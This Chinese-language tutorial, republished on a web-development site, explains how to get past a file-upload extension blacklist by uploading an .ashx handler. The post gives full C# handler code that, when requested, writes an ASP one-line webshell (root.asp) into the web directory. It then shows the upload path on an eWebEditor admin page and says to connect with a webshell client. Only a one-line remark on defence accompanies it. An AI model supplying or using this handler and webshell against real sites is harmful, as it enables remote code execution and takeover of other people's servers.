分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 软件开发

绕过黑名单上传

发布时间:2023-09-06 01:43责任编辑:苏小强关键词:暂无标签

突破上传限制 ashx后缀脚本执行



服务器过滤了asa,cer,cdx,htr,aspx,php,jsp 等脚本

突破的办法是什么呢?过滤常见脚本到底该如何突破?

这里我们还可以添加一个ashx 脚本类型。用ashx来写一个asp的一句话到当前目录。

代码如下。

<%@ WebHandler Language="C#"Class="Handler" %>

using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";

StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}

保存为 ashx ,现在来添加一个 ashx 上传类型看看.

上传成功,直接访问

http://www.xxxxx.com/admin/eWebEditor/UploadFile/201082143554545.ashx就会在当前目录生成一个root.asp的一句话木马。

看上传文件里,root.asp 已经躺在那边了,用lake2的 一句话连接,看见亲切的hello word !

有时候 网站过滤了常见的脚本类型却把 ashx给漏了…


安全措施:别漏了ashx。。。

绕过黑名单上传

原文地址:https://www.cnblogs.com/xxrens/p/8454213.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved